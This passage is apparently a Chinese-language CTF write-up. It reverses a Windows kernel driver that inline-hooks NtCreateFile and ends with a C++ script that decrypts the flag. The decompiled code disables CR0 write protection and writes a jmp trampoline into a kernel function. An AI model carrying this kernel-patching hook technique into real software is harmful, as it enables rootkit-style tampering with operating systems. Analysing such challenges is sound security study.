char *Dst_1; // rdi
unsigned int n0xE; // ebx
unsigned int v4; // eax
PVOID PoolWithTag; // rdi
unsigned __int8 CurrentIrql; // bl
unsigned __int64 v7; // rcx
unsigned __int64 v8; // r11
char *v9; // rbx
__int64 Size; // r11
unsigned __int64 v11; // rax
unsigned __int64 v12; // rax
_BYTE v14[14]; // [rsp+20h] [rbp-38h]
_BYTE v15[14]; // [rsp+30h] [rbp-28h]
*v15 = 0xFFFF0000000025FFuLL;
Dst_1 = Dst;
n0xE = 0;
*v14 = 0xFFFF0000000025FFuLL;
do
{
v4 = qword_16448(Dst_1, 64);
n0xE += v4;
Dst_1 += v4;
}
while ( n0xE <= 0xE );
LODWORD(::Size) = n0xE;
PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, n0xE, 0x53595351u);
CurrentIrql = KeGetCurrentIrql();
__writecr8(2u);
v7 = __readcr0();
__writecr0(v7 & 0xFFFFFFFFFFFEFFFFuLL);
_disable();
memmove(PoolWithTag, Dst, ::Size);
v8 = __readcr0();
_enable();
__writecr0(v8 | 0x10000);
__writecr8(CurrentIrql);
v9 = ExAllocatePoolWithTag(NonPagedPool, (::Size + 14), 0x53595351u);
memset(v9, 144, (::Size + 14));
*&v14[6] = &Dst[::Size];
memmove(v9, PoolWithTag, ::Size);
Size = ::Size;
*&v9[::Size] = *v14;
*&v9[Size + 8] = *&v14[8];
*&v9[Size + 12] = *&v14[12];
qword_16420 = v9;
*&v15[6] = sub_114D0;
LOBYTE(v9) = KeGetCurrentIrql();
__writecr8(2u);
v11 = __readcr0();
__writecr0(v11 & 0xFFFFFFFFFFFEFFFFuLL);
_disable();
memset(Dst, 144, ::Size);
*Dst = *v15;
*(Dst + 2) = *&v15[8];
*(Dst + 6) = *&v15[12];
v12 = __readcr0();
_enable();
__writecr0(v12 | 0x10000);
__writecr8(v9);
return PoolWithTag;
}
先看返回值为PoolWithTag
,PoolWithTag
来源于这个函数传入的Dst
回到主函数可以看到
Dst
为NtCreateFile
,注意这里的NtCreateFile
是原来的未被修改的函数
这部分的意思就是把
NtCreateFile
备份给Src
,在卸载例程是恢复NtCreateFile
原来的样子
再留意
0xFFFF0000000025FFuLL
由于计算机小端序存储,所以应该是FF2500000000FFFF
,看到FF25
应该感到熟悉,从机器码翻译到汇编指令
FF 25 00 00 00 00 FF FF
│ │ │ │ │ │ │ └─ padding(写两遍只是填满 8 字节)
│ └─ opcode 0x25:表示 [opcode 0xFF /2] 即 “jmp qword ptr [disp32]”
└──── opcode 0xFF:分组里 /2 = JMP
结合后面的内容
memset(v9, 0x90, (::Size + 14));
*&v14[6] = &Dst[::Size];
memmove(v9, PoolWithTag, ::Size);
Size = ::Size;
*&v9[::Size] = *v14;
*&v9[Size + 8] = *&v14[8];
*&v9[Size + 12] = *&v14[12];
*&v15[6] = sub_114D0;
memset(Dst, 0x90, ::Size);
*Dst = *v15;
*(Dst + 2) = *&v15[8];
*(Dst + 6) = *&v15[12];
前一半构造了v9这个函数,v9会跳转到NtCreateFile的位置
后一半对NtCreateFile
函数进行了InlineHook
,使程序执行NtCreateFile
函数的时候跳转到sub_114D0
函数的位置
进入sub_114D0
函数看看
- sub_114D0
__int64 __fastcall sub_114D0(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6, int a7)
{
int v8; // esi
int v9; // eax
__int64 v10; // rdi
__int64 n128; // rax
unsigned int i; // ebx
v8 = qword_16420(a1, a2, a3, a4, a5, a6, a7);
if ( v8 >= 0 )
{
if ( wcsstr(*(*(a3 + 16) + 8LL), SubStr) )
{
v9 = dword_16428;
v10 = *(a3 + 16);
if ( dword_16428 != -1 )
{
++dword_16428;
if ( (v9 + 1) >= 8 )
{
n128 = 0;
for ( i = 0; byte_16390[n128]; ++i )
{
if ( n128 >= 128 )
break;
++n128;
}
sub_115DC();
sub_112B4(v10, byte_16390, i);
dword_16428 = -1;
}
}
}
}
return v8;
}
qword_16420
就是主调函数中的v9
也就是NtCreateFile
sub_115DC();
就是恢复InlineHook,跟最开始分析的那个一样
这部分没什么信息
那就回到sub_113C8()
去解那个加密
成功了,看半天其实只用上了
sub_113C8()
函数
the flag is A_simple_Inline_hook_Drv RCTF{A_simple_Inline_hook_Drv}
exp
#include <iostream>
int main()
{
unsigned char byte_16310[] = {
0x95, 0x13, 0x6E, 0x5C, 0xA2, 0x13, 0x58, 0x5C, 0xB3, 0x13,
0x54, 0x5C, 0x88, 0x13, 0x54, 0x5C, 0x9A, 0x13, 0x57, 0x5C,
0xA9, 0x13, 0x50, 0x5C, 0xA2, 0x13, 0x6E, 0x5C, 0xF7, 0x13,
0x02, 0x5C, 0xF6, 0x13, 0x1F, 0x5C, 0xB1, 0x13, 0x49, 0x5C,
0xB1, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
unsigned char byte_16390[] = {
0x70, 0x74, 0x37, 0x65, 0x47, 0x66, 0x05, 0x61, 0x11, 0x20,
0x0C, 0x73, 0x6D, 0x41, 0x3A, 0x73, 0x36, 0x6D, 0x16, 0x6C,
0x09, 0x5F, 0x28, 0x6E, 0x0B, 0x69, 0x31, 0x65, 0x6D, 0x68,
0x5C, 0x6F, 0x58, 0x5F, 0x6A, 0x72, 0x02, 0x00, 0x78, 0x00,
0x74, 0x00, 0x50, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x69, 0x00,
0x76, 0x00, 0x65, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x5F, 0x00,
0x66, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x67, 0x00, 0x5F, 0x00,
0x32, 0x00, 0x33, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x74, 0x00,
0x78, 0x00, 0x74, 0x00, 0x50, 0x00, 0x5F, 0x00, 0x67, 0x00,
0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x4D, 0x00, 0x65, 0x00,
0x5F, 0x00, 0x66, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x67, 0x00,
0x5F, 0x00, 0x32, 0x00, 0x33, 0x00, 0x33, 0x00, 0x2E, 0x00,
0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x50, 0x00
};
uint32_t v1 = 0x54321CCC & 0xF0F0F0F0F0F0F0F0 ^ 0xCCC12345 & 0xF0F0F0F0F0F0F0F;
uint32_t v2 = v1 - 0x5C31139B;
for (int i = 0; i < 32; i++)
{
byte_16390[i * 4] ^= (v1 & 0x000000FF);
byte_16390[i * 4 + 1] ^= ((v1 & 0x0000FF00) >> 8);
byte_16390[i * 4 + 2] ^= ((v1 & 0x00FF0000) >> 16);
byte_16390[i * 4 + 3] ^= ((v1 & 0xFF000000) >> 24);
}
byte_16310[v2] = 0;
byte_16310[v2 + 1] = 0;
int32_t v4 = 0;
for (int i = 0; i < 128; i++)
{
byte_16390[i] ^= byte_16310[v4];
v4 = (v4 + 1) % v2;
}
std::cout << byte_16390;
}